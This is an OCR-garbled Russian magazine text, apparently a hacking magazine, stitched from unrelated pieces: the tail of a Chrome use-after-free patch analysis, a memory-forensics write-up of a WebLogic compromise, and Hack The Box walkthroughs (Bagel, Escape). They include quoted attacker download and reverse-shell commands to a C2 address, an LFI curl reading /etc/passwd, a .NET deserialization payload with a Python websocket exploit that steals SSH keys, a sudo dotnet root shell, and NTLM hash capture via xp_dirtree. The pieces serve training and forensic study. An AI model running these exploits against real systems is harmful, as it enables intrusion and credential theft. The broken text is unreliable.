А зна чит, код попыта ется получить дос туп к осво бож денной памяти.

Так и работа ет уяз вимость. Осталь ное сво дит ся к экс плу ата ции уяз вимос тей
типа use after free. Но это уже отдель ная тема, тре бующая отдель ной объ- 
емной статьи.

WWW

•Exploiting a textbook use-after-free in Chrome
•Cleanly Escaping the Chrome Sandbox
•My Take on Chrome Sandbox Escape Exploit

Chain

ÏÀÒ×

Те перь пос мотрим, как же пофик сили дан ную уяз вимость раз работ чики
Chromium. В опи сании пат ча  сле дующее:го ворит ся

«

»

Correctly handle detach during (de)compression
Sometimes CompressionStream and DecompressionStream enqueue

multiple output chunks for a single input chunk. When this happens,
JavaScript code can detach the input ArrayBuffer while the stream
is processing it. This will cause an error when zlib tries to read the buffer
again afterwards. To prevent this, buffer output chunks until the entire
input chunk has been processed, and then enqueue them all at once.

По сути, для ком прес сии и деком прес сии теперь исполь зует ся вре мен ный
мас сив .buffers

Толь ко пос ле это го дан ные переда ются в оче редь потока через вызов
. Уже он может выз вать поль зователь ский код на JS.enqueue

Сле дова тель но, во вре мя работы цик ла ком прес сии/деком прес сии уже
невоз можно выз вать поль зователь ский код. Метод  будет выз ван

пос ле. То же будет и с кодом ата кующе го, но дан ные уже обра бота ны и дос- 
тупа к осво бож денной памяти не будет.

enqueue

ÂÛÂÎÄÛ

В зак лючение хочу ска зать, что уяз вимость явно была вдох новле на пре дыду- 
щими подоб ными багами. Отче ты Сер гея Гла зуно ва номер  от 27 янва- 
ря 2020 года и номер  от 30 янва ря 2020 года касались это го же ком- 
понен та. Уяз вимос ти триг герились похожим методом и были свя заны с раз- 
решени ем promise. В текущей вер сии спе цифи кации потоков и кода
Chromium такая воз можность отсутс тву ет.

2001
2005
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ВЗЛОМ

Ког да зло умыш ленни ки ата куют сеть пред- 
при ятия, у спе циалис тов по информа цион- 
ной безопас ности зачас тую оста ется не так
уж и мно го матери ала для иссле дова ний —
нап ример, толь ко образ памяти ском про- 
мети рован ного сер вера. Подоб ную ситу- 
ацию опи сыва ет задание 

 с ресур са , которое мы
сегод ня раз берем.

BSidesJeddah-
Part2 CyberDefenders

На ша задача — выявить при чины взло ма сер виса, раз верну того на Oracle
WebLogic Server, и научить ся извле кать основные арте фак ты из обра за опе- 
ратив ной памяти Windows.

По сце нарию устрой ство монито рин га сетевой безопас ности зафик- 
сирова ло подоз ритель ный тра фик, исхо дящий от одно го из веб-сер веров
орга низа ции. Мы дол жны про ана лизи ровать образ памяти сер вера и вос ста- 
новить кар тину взло ма информа цион ного ресур са.

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ

1.  — инс тру мент, реали зован ный на Python вер- 
сии 2 и пред назна чен ный для извле чения арте фак тов из обра зов энер- 
гозави симой памяти.

Volatility Framework 2.6.1

2.  — обновлен ный инс тру мент для извле чения арте фак тов, раз- 
работан ный на Python 3.
Volatility 3

Заг рузим файл  с арте фак тами, извле чем из него файл 
(SHA256:5b3b1e1c92ddb1c128eca0fa8c917c16c275ad4c95b19915a288a745f99
60f39) и прис тупим к иссле дова нию.

ар хива memory.mem

ÈÑÑËÅÄÎÂÀÍÈÅ ÎÁÐÀÇÀ ÏÀÌßÒÈ

При работе с этим обра зом мы будем поль зовать ся фрей мвор ком Volatility
вер сий 2 и 3. Их основное раз личие опи сано в . Удобс тво
работы с треть ей вер сией зак люча ется в том, что она не исполь зует про фили
опе раци онной сис темы, а уме ет опре делять их на лету, с помощью таб лиц
сим волов Windows. Но боль шинс тво пла гинов раз работа но для вто рой вер- 
сии.

до кумен тации

По лучим про филь опе раци онной сис темы для работы с ути литой Volatility
2.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem imageinfo 

Про филь опе раци онной сис темы — .Win2016x64_14393
Преж де чем мы прис тупим к ана лизу арте фак тов, необ ходимо понять,

с какой сис темой мы работа ем. Для это го получим вер сию опе раци онной
сис темы, имя компь юте ра, а так же сетевой адрес. Про бежим ся по клю чам
реес тра с исполь зовани ем пла гина printkey.

 
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -K "ControlSet001\Control\ComputerName\C
omputerName"

Имя компь юте ра

Имя компь юте ра — .WIN-8QOTRH7EMHC

 
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\S
ervices\Tcpip\Parameters\Interfaces"

Спи сок интерфей сов

Мы получи ли спи сок иден тифика торов сетевых интерфей сов. Про верим каж- 
дый из них.

 
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\S
ervices\Tcpip\Parameters\Interfaces\{
792f6020-c342-4520-922a-542fbfccc4b6}"

Се тевой адрес сис темы

Се тевой адрес компь юте ра — , IP-адрес выда ется DHCP-
сер вером .

192.168.144.131
192.168.144.254

Те перь получим информа цию о вер сии опе раци онной сис темы.

 
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey -K "Microsoft\Windows NT\CurrentVersion"

Вер сия опе раци онной сис темы

Вер сия опе раци онной сис темы — Windows Server 2016 Standard Evaluation.
По лучим вре мя, которое было зафик сирова но в момент сня тия обра за

опе ратив ной памяти. Для это го вос поль зуем ся пла гином  ути- 

литы Volatility 3.

windows.info

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.info 

Сис темное вре мя — .2021-08-06 16:13:23
Да лее попыта емся вос ста новить дей ствия поль зовате ля в сис теме. Про- 

ана лизи руем исто рию бра узе ра, в дан ном слу чае Internet Explorer. Для это го
вос поль зуем ся пла гином iehistory.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 iehistory > c63-bsidesjeddah-mem/iehistory.txt 

Ис тория iehistory

Нам уда лось выяс нить, что 6 августа 2021 года поль зователь 

посетил стра ницу .

Administrator
news.google.com

Те перь прис тупим к поис ку вре донос ной активнос ти. Для это го нам необ- 
ходимо про ана лизи ровать про цес сы, сетевой тра фик, коман ды запус ка
исполня емых фай лов, а так же иссле довать стро ки про цес сов.

Для начала получим спи сок запущен ных в сис теме про цес сов, а так же
сетевую активность и сох раним резуль тат работы пла гинов в фай лы 

 и  соот ветс твен но.

pstree.
txt netscan.txt

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 pstree > c63-bsidesjeddah-mem/pstree.txt 

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 netscan > c63-bsidesjeddah-mem/netscan.txt 

В спис ке про цес сов мож но заметить прог рамму  ком пании

Belkasoft.

RamCapture.exe

В фай ле  отме чено две над цать ста биль ных сетевых соеди- 
нений, об этом нам говорит колон ка , демонс три рующая работу пла- 

гина netscan с уста нов ленным зна чени ем .

netscan.txt
State

ESTABLISHED
Про ана лизи руем дерево про цес сов и най дем сре ди них ано маль ные.

Необ ходимо обра щать вни мание на про цес сы, которые запус кают дочер ний
про цесс с име нами , , , а так же

на исполня емые фай лы с нес тандар тным рас положе нием.

cmd.exe powershell.exe conhost.exe

Про цес сы, запущен ные от java.exe

Про цес сом  (иден тифика тор 4752) запуще но мно жес тво дочер них

, что может сви детель ство вать о подоз ритель ной активнос- 
ти. Так же у про цес са  (иден тифика тор 4344) запуще ны

дочер ние про цес сы  (иден тифика тор 4636) и 

(иден тифика тор 1488).

java.exe
powershell.exe

powershell.exe
conhost.exe svchost.exe

По лучим дамп дан ных про цес сов и про ана лизи руем их стро ки.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 4752 -D c63-bsidesjeddah-mem/ 

Мы сох ранили дамп в файл .4752.dmp

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 4344 -D c63-bsidesjeddah-mem/ 

Ре зуль тат работы сох ранен в фай ле .4344.dmp
Те перь с помощью ути литы strings вытащим все стро ки и сох раним их

в файл.

strings 4752.dmp > str_4752.txt 

strings 4344.dmp > str_4344.txt 

Преж де чем ана лизи ровать стро ки, получим аргу мен ты коман дной стро ки
для запус ка про цес сов. Для это го вос поль зуем ся пла гином cmdline и най дем
в нем про цесс  (иден тифика тор 4752).java.exe

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 cmdline > c63-bsidesjeddah-mem/cmdline.txt 

За пуск вер-сер вера

Про цесс  (иден тифика тор 4556), который явля ется родите лем про- 
цес са  (4752), запус кает сер вер WebLogic. Зна чит, про цесс 

 — резуль тат работы веб-сер вера.

cmd.exe
java.exe java.

exe
Вы ясним вер сию WebLogic, для это го получим спи сок фай лов в сис теме.

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 filescan > c63-bsidesjeddah-mem/filescan.txt 

Ана лизи руя спи сок фай лов, мы обна ружи ваем файл лога веб-сер вера
WebLogic — .AdminServer.log

Вир туаль ный адрес фай ла

Вос ста новим его и про ана лизи руем: вир туаль ный адрес фай ла в обра зе
памяти — . Вос ста новить этот файл с исполь зовани ем ути- 

литы Volatility 2 мне не уда лось, поп робу ем это сде лать с помощью Volatility 3.

0xb68cb2c205c0

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles 
--virtaddr 0xb68cb2c205c0 

В вос ста нов ленном фай ле ука зана вер сия WebLogic Server — .14.1.1.0.0

Вер сия WebLogic-сер вера

Слу шатель WebLogic Server работа ет на пор те 7001, но зап росы к веб-сер- 
веру идут на 80-й порт.

Най дем перенап равле ние пор та в клю че реес тра , для это го

вос поль зуем ся пла гином printkey.

PortProxy

 
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 printkey  -K "ControlSet001\Services\PortProxy\v
4tov4\tcp"

Зна чение клю ча PortProxy

В сис теме уста нов лено перенап равле ние пор та .80:7001
Мы выяс нили вер сию веб-сер вера: она уяз вима и поз воля ет выпол нять

уда лен ный код в сис теме. В фай ле лога  вид ны резуль таты

выпол нения фун кции ,

а так же зап рос к 
.

AdminServer.log
com.tangosol.coherence.mvel2.sh.ShellSession

/console/%2E%2E%2Fconsole.portal?
_nfpb=true&_pageLabel=UnexpectedExceptionPage

Со дер жимое фай ла лога

Те перь най дем про цесс, через который зло умыш ленник получил пер- 
воначаль ный дос туп. У нас есть дамп про цес са , мы наш ли его стро ки,

теперь оты щем в нем GET-зап рос с парамет ром 

.

4752
handle=com.tangosol.

coherence.mvel2.sh.ShellSession

Со дер жимое парамет ра handle

Итак, иско мый про цесс — это , иден тифика тор . Имен но он был

ответс тве нен за пер воначаль ный дос туп к сис теме. Зло умыш ленник про экс- 
плу ати ровал уяз вимость  в сер вере WebLogic вер- 
сии 14.1.1.0.0, поз воля ющую выпол нять уда лен ный код в сис теме. Как вид но
из иллюс тра ции выше, хакер запус тил обратную обо лоч ку с управля ющим
сер вером .

java.exe 4752

CVE-2020-14882

192.168.144.129:1339
Ана лизи руя работу пла гина netscan, мож но уви деть запущен ный про цесс

 (иден тифика тор ), который вза имо дей ству ет

с 192.168.144.129:1339.

powershell.exe 4344

Ре зуль тат работы пла гина netscan

Вос поль зуем ся пла гином pslist и най дем сле дующий про цесс в спис ке
, его иден тифика тор .ActiveProcessLinks 4772

Спи сок про цес сов ActiveProcessLinks

Как вид но из иллюс тра ции, про цесс  име ет 44 потока. Про дол жим

ана лизи ровать стро ки про цес са .

java.exe
java.exe

В резуль тате ана лиза строк мож но уви деть заг рузку фай лов 
и .

presist.ps1
pastebin.ps1

Заг рузка PowerShell-сце нари ев

Поп робу ем вос ста новить коман ды для заг рузки этих фай лов. Так как коман ды
выпол няют ся с исполь зовани ем PowerShell, получим дамп всех про цес сов

, запущен ных от име ни  (иден тифика тор ).

Для это го вос поль зуем ся пла гином memdump. Вос ста новим коман ду для заг- 
рузки сце нари ев PowerShell.

powershell.exe java.exe 4752

 |    |  strings -e l ./out_powershell/* grep -i 'presist.ps1' sort -u

Ко ман да Invoke-WebRequest

Ко ман да для заг рузки сце нария  выг лядит сле дующим обра зом:presist.ps1

  
 

Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1"
-OutFile "./presist.ps1"

Заг рузка фай ла  выпол нялась при помощи сле дующей коман- 

ды:

pastebin.ps1

 |    |  strings -e l ./out_powershell/* grep -i 'presist.ps1' sort -u

Заг рузка pastebin.ps1

Най дем код  и про ана лизи руем его. Для это го будем искать
этот код в стро ках дам па наших про цес сов. При иссле дова нии резуль татов
вывода пла гина cmdline мы замети ли, что про цесс  (иден тифика- 

тор 4596) открыл файл .

pastebin.ps1

notepad.exe
exfiltrator.txt

Ар гумен ты запус ка про цес са notepad.exe

По лучим дамп про цес са  и про ана лизи руем стро ки.4596

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 4596 -D c63-bsidesjeddah-mem/ 

Со дер жимое скрип та

Этот скрипт пред назна чен для выг рузки тек сто вых фай лов на ресурс
, но ему в качес тве парамет ра необ ходимо ука зать ссыл ку.

Поиск ссыл ки на выг рузку фай лов в стро ках дам па про цес са 
не дал резуль татов.

pastebin.com
notepad.exe

В стро ках вре донос ного про цес са  уда лось обна ружить ссыл ку

 для выг рузки фай лов. Зна чит, скрипт
 запус кался от име ни дан ного про цес са.

4344
https://pastebin.com/A0Ljk8tu
pastebin.ps1

Най дем методы зак репле ния зло умыш ленни ка в сис теме. Для это го вос- 
поль зуем ся пла гином autoruns или про ана лизи руем стро ки про цес са .4344

Зак репле ние в сис теме

Зло умыш ленник соз дал служ бу , которая запус кает обратную

обо лоч ку с управля ющим сер вером , порт . Сог ласно

мат рице MITRE ATT&CK, иден тифика тор этой тех ники — T1053.005.

ServiceUpdate
192.168.144.129 1339

Про дол жаем ана лизи ровать вре донос ные про цес сы. Получим дамп про- 
цес са  (иден тифика тор ), най дем вир туаль ный адрес рас- 

положе ния это го фай ла в сис теме и с помощью пла гина windows.dumples
ути литы Volatility 3 выг рузим файл.

svchost.exe 1488

Рас положе ние фай ла svchost.exe

Вир туаль ный адрес фай ла в обра зе памяти — . Вос ста новим

его.

0xb68cb2b8a080

python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles 
--virtaddr 0xb68cb2b8a080 

Пос ле вос ста нов ления получим MD5-сум му фай ла
 и про верим ее на . Сог ласно

отче ту анти вирус ных ком паний, перед нами полез ная наг рузка фрей мвор ка
Cobalt Strike. Получим дамп про цес са и поп робу ем вытащить кон фигура цию
C2.

2c5ae1d11a02d19ab65f5fc06a33d603 VirusTotal

python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=
Win2016x64_14393 memdump -p 1488 -D c63-bsidesjeddah-mem/ 

Заг рузим ути литу  и най дем в памяти про цес са кон фигура- 
цию маяка.

CobaltStrikeParser

 4 python3 parse_beacon_config.py  ../pid.1488.dmp --version

Мы узна ли тип маяка (HTTP), адрес управля юще го сер вера (

), порт ( ), а так же пуб личный ключ. Получим MD5-сум му клю ча.

192.168.144.
129 1339

echo MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCknNpTPXGlTqpVXN9GP8xG/
Otf4yDG2QQCJFReupN16br/aMd+0RTSqOmKCjMHdR6fm133/
abvH1KVRge7oNowjO0RvdKVZTnNZqPnOkruOd7pDvjcJ13huwnsGA6rqW3jwNNb1hDix6
K4H+DGYx/
RQTxDc/nhj59Ae/5Tz9iC/QIDAQAB" | base64 -d | md5sum

MD5-сум ма пуб лично го клю ча — .fc627cf00878e4d4f7997cb26a80e6fc

ÂÛÂÎÄÛ

Мы про вели рас сле дова ние инци ден та и вос ста нови ли кар тину взло ма
ресур са: 6 августа 2021 года зло умыш ленник про экс плу ати ровал уяз вимость

 в Oracle WebLogic Server, которая поз воля ет не про шед шим
авто риза цию поль зовате лям выпол нять уда лен ный код в сис теме.
CVE-2020-14882

Та ким обра зом ата кующий заг рузил обратную обо лоч ку с управля ющим
сер вером , порт . Далее он зак репил ся в сис теме, соз- 

дав служ бу . Для это го зло умыш ленник заг рузил PowerShell-
сце нарий . Дан ный сце нарий соз дает служ бу ServiceUpdate,

которая запус кает обратную обо лоч ку.

192.168.144.129 1339
ServiceUpdate

presist.ps1

Для эксфиль тра ции дан ных зло умыш ленник заг рузил сце нарий 

, который отправ ляет соб ранные фай лы на уда лен ный сер вер. Затем ата- 
кующий заг рузил маяк Cobalt Strike для пос тэкс плу ата ции в сис теме.

pastebin.
ps1

В ходе нашего рас сле дова ния мы научи лись извле кать кон фигура цию
маяка из памяти, а так же искать важ ные арте фак ты в памяти про цес сов.

mailto:grigadan454@gmail.com
https://cyberdefenders.org/blueteam-ctf-challenges/82#nav-overview
https://cyberdefenders.org/
https://github.com/volatilityfoundation/volatility
https://github.com/volatilityfoundation/volatility3
https://cyberdefenders.org/blueteam-ctf-challenges/enroll/82
https://volatility3.readthedocs.io/en/latest/vol2to3.html
https://pentest-tools.com/blog/detect-exploit-oracle-weblogic-rce-2020
https://www.virustotal.com/gui/file/41eaeb38d19b7ba35baf93b5c64862c5a83c12c82c43582f3c56f3e36693479c
https://github.com/Sentinel-One/CobaltStrikeParser
https://pentest-tools.com/blog/detect-exploit-oracle-weblogic-rce-2020
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ВЗЛОМ

В этом рай тапе я покажу, как ревер сить
биб лиоте ку .NET DLL, что бы най ти уяз- 
вимость в ней. По пути про экс плу ати руем
уяз вимость LFI в веб-сай те, а при повыше- 
нии при виле гий задей ству ем тех нику
GTFOBins для при ложе ния .NET, запущен- 
ного в Linux.

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.201    bagel.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли три откры тых пор та:
22 — служ ба OpenSSH 8.8;•
5000 и 8000 — веб-сер вер Python 3.10.9.•

На SSH делать нечего, поэто му сра зу перехо дим к изу чению веб-сер вера.
Как показал отчет, на пор те 8000 мы уга дали имя домена — .bagel.htb

Глав ная стра ница http://bagel.htb:8000

Продолжение статьи →

mailto:hackerralf8@gmail.com
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÂÕÎÄÀ
Ви дим, что целевая стра ница переда ется в парамет ре . В таком слу чае

пер вым делом нуж но про верить воз можность вклю чения про изволь ного фай- 
ла путем обхо да катало гов. Для тес та про буем про читать фай лы 
или .

page

/etc/passwd
/etc/hosts

curl 'http://bagel.htb:8000/?page=../../../../etc/passwd'

Со дер жимое фай ла /etc/passwd

Сра зу же уда лось про читать файл!
Те перь возь мем на GitHub  важ ных и инте рес ных фай лов в Linux

и перебе рем их с помощью Burp Intruder.
спи сок

Burp Intruder — вклад ка Positions

Burp Intruder — резуль тат перебо ра

Очень инте рес ный файл — , который содер жит пол ную

коман ду коман дной стро ки текуще го про цес са. Этот файл рас кры вает нам
путь к фай лу с кодом скрип та. С помощью LFI ска чива ем исходник, откры ваем
в любой сре де раз работ ки (я исполь зую VSCode) и перехо дим к ана лизу.

/proc/self/cmdline

wget 
 

'http://bagel.htb:8000/?page=../../../../../../../home/
developer/app/app.py' -O app.py 

Со дер жимое фай ла app.py

Из кода выяс няем, что мы можем под клю чить ся к веб-сокету на пор- 
те 5000 и передать дан ные в фор мате JSON, которые потом будут обра бота- 
ны методом . Из ком мента рия узна ем о под клю чен ной DLL.json.loads

LFI
Поп робу ем переб рать коман дные стро ки для всех про цес сов в сис теме,
для чего с помощью Burp Intruder будем менять PID про цес са.

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Что бы получить коман дные стро ки в удоб ном виде для всех зап росов,
зададим параметр . Тог да Burp будет извле кать коман дную

стро ку из отве та сер вера и выводить в отдель ном стол бике.

Grep — Extract

Burp Intruder — нас трой ка Grep — Extract

Ре зуль тат перебо ра

В резуль тате видим про цесс , который в качес тве парамет ра получа ет
файл DLL, то есть биб лиоте ку, о которой мы зна ем из ком мента рия. Ска чива- 
ем най ден ный DLL для даль нейше го ана лиза.

dotnet

wget 
 

'http://bagel.htb:8000/?page=../../../../../../../opt/bagel/bin/
Debug/net6.0/bagel.dll' -O bagel.dll 

Так как это файл .NET, его мож но деком пилиро вать. Для это го есть отличное
средс тво . Откры ваем его, заг ружа ем ска чан ный DLL и пер вым делом

обра щаем вни мание на класс DB. В исходном коде это го клас са находим
учет ные дан ные для под клю чения к базе дан ных.

dnSpy

Ис ходный код клас са DB

Ав торизо вать ся на SSH с этим паролем не выш ло, поэто му про водим осно- 
ватель ный ана лиз фай ла. Мы уже зна ем, что прог рамма работа ет на пор- 
те 5000 и при нима ет дан ные в фор мате JSON, пос ле чего выпол няет десери- 
али зацию объ екта и сери али зацию (фун кция ).MessageReceived

Ис ходный код клас са Bagel

Из фун кции  узна ем, что в парамет ре при нима емо го
JSON сущес тву ет ключ .

DeserializeObject
Message

Ис ходный код клас са Handler

А из клас са  узна ем о воз можнос ти уда ления, записи и чте ния заявок.Orders

Ис ходный код клас са Orders

В клас се Orders обра тим вни мание вот на эту фун кцию:

RemoveOrder {get; set;} 

Продолжение статьи →

https://github.com/hussein98d/LFI-files/blob/master/list.txt
https://github.com/dnSpy/dnSpy


HTB BAGEL
ЗАХВАТЫВАЕМ СЕРВЕР 

ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON В .NET

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Мы можем исполь зовать уяз вимость десери али зации и в качес тве парамет ра
пре дос тавить сери али зован ный объ ект, что при ведет к его выпол нению. Так,
в прог рамме есть класс , который содер жит фун кцию , чита- 
ющую файл  в катало ге .

File ReadFile
order.txt /opt/bagel/orders/

Ис ходный код клас са File

Ис ходный код клас са File (про дол жение)

Бу дем исполь зовать фун кцию  для чте ния про изволь ных фай лов

с помощью сле дующей наг рузки.

ReadFile

{
   "RemoveOrder": {
       "$type": "bagel_server.File, bagel",
       "ReadFile": "../../../../../../etc/passwd"
   }
}

В атри буте  ука зыва ем тип объ екта , а в
атри буте  — путь к чита емо му фай лу. Для работы кон некта

с веб-сокетом напишем прос той код на Python.

$type bagel_server.File, bagel
ReadFile

 import asyncio
 import json
 import sys

   from websockets import connect

  async def hello(uri):
      async with connect(uri) as websocket:

     
   

      order = {"RemoveOrder": {"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../.." + sys.argv[1]}}

        data = str(json.dumps(order))
       await websocket.send(data)

         resp = await websocket.recv()
      print(json.loads(resp)["RemoveOrder"]["ReadFile"])

asyncio.run(hello("ws://bagel.htb:5000/"))

Со дер жимое фай ла /etc/passwd

Так как при ложе ние может работать от име ни дру гого поль зовате ля (не 

), про буем про читать при ват ный SSH-ключ  и получа ем
его.

www-
data ~/.ssh/id_rsa

При ват ный SSH-ключ поль зовате ля phil

Ко пиру ем ключ, наз нача ем необ ходимые пра ва коман дой 

 и под клю чаем ся к хос ту.

chmod 0600 
id_rsa

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ
Вспо мина ем, что у нас есть пароль для под клю чения к базе дан ных, который
мы узна ли рань ше. Поп робу ем исполь зовать его для авто риза ции от име ни
поль зовате ля  локаль но. Пароль подошел, и мы получи ли новую
сес сию.

developer

Сес сия поль зовате ля developer

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Од но из пер вых мест, которые нуж но про верить при повыше нии при виле- 
гий, — это нас трой ки sudoers. Получить их мож но коман дой .sudo -l

Нас трой ки sudoers

Так мы узна ем, что можем выпол нить коман ду  от име ни
поль зовате ля  без вво да пароля. В таких слу чаях пер вым делом я про- 

веряю базу GTFOBins: нет ли там готовых трю ков для нуж ного при ложе ния?
 прог раммы  под  нашел ся.

/usr/bin/dotnet
root

Спо соб экс плу ата ции dotnet sudo

Справка: GTFOBins
 — это под борка спо собов зло упот ребле ния фун кци ями рас- 

простра нен ных прог рамм для Unix. Исполь зуя эти рецеп ты, мож но быс тро
получить дос туп к коман дным обо лоч кам, повысить при виле гии или передать
фай лы.

GTFOBins

Тех ника экс плу ата ции dotnet под sudo

Зна чит, мы можем открыть  в инте рак тивном режиме и запус тить файл

коман дной обо лоч ки, что даст нам шелл в при виле гиро ван ном кон тек сте.

dotnet

sudo /usr/bin/dotnet fsi 
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

Флаг рута

У нас есть флаг рута, а зна чит, машина зах вачена!

https://gtfobins.github.io/gtfobins/dotnet/
https://gtfobins.github.io/


HTB

ESCAPE

ЭКСПЛУАТИРУЕМ ТИПИЧНЫЕ
УЯЗВИМОСТИ ACTIVE DIRECTORY

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я на при мерах покажу,
как при менять прос тей шие тех ники для зах- 
вата домена: ано ним ный логин на SMB-
ресур се, эксфиль тра цию NTLM-хеша из MS
SQL и повыше ние при виле гий ESC1 через
служ бу сер тифика ции Active Directory.

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.202    escape.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

В резуль татах ска ниро вания видим мно жес тво откры тых пор тов, что типич но
для сер веров Windows:

53 — служ ба DNS;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

RDP и LDAP рас кры вают нам имя домена и компь юте ра. Добавим их в 

.

/etc/
hosts

10.10.11.202 escape.htb sequel.htb dc.sequel.htb 

ÒÎ×ÊÀ ÂÕÎÄÀ
Пер вым делом про буем авто риза цию от име ни гос тя на раз ных служ бах,
начиная с SMB. Для тес тирова ния SMB луч ше все го исполь зовать прог рамму

, для которой уже успе ли написать мно жес тво допол нитель- 

ных модулей.

CrackMapExec

    cme smb 10.10.11.202 -u 'guest' -p '' --shares

Об щие ресур сы SMB

Ка талог  — нес тандар тный, поэто му нас инте ресу ет его содер жимое.

Для работы с SMB-ресур сом будем исполь зовать скрипт 

 из набора скрип тов impacket.

Public
impacket-

smbclient

impacket-smbclient 'guest@10.10.11.202'
use Public 

Со дер жимое обще го ресур са Public

Ре сурс содер жит документ PDF, который мож но ска чать такой коман дой:

get SQL Server Procedures.pdf 

Файл будет сох ранен в текущем катало ге. Прос матри ваем файл и находим
учет ные дан ные для под клю чения к служ бе MS SQL.

Со дер жимое ска чан ного PDF-докумен та

ÒÎ×ÊÀ ÎÏÎÐÛ
В спис ке откры тых пор тов отсутс тву ет порт 1433, на котором по умол чанию
работа ет служ ба MS SQL Server, но, нес мотря на это, все рав но поп робу ем
под клю чить ся к служ бе с помощью скрип та , тоже
из impacket.

impacket-mssqlclient

impacket-mssqlclient WORKGROUP/PublicUser:GuestUserCantWrite1@10.10.
11.202 

Под клю чить ся к служ бе уда лось, поэто му про буем увес ти хеш пароля поль- 
зовате ля, от име ни которо го и работа ет служ ба. Запус каем на локаль ном
хос те ути литу responder, которая поможет нам получить хеш.

sudo responder -I tun0 -v

А теперь обра щаем ся к ресур су из SQL с помощью коман ды .xp_dirtree

 xp_dirtree '\\10.10.14.125\test'

Зап рос на сер вер из SQL

По лучен ный NetNTLMv2-хеш

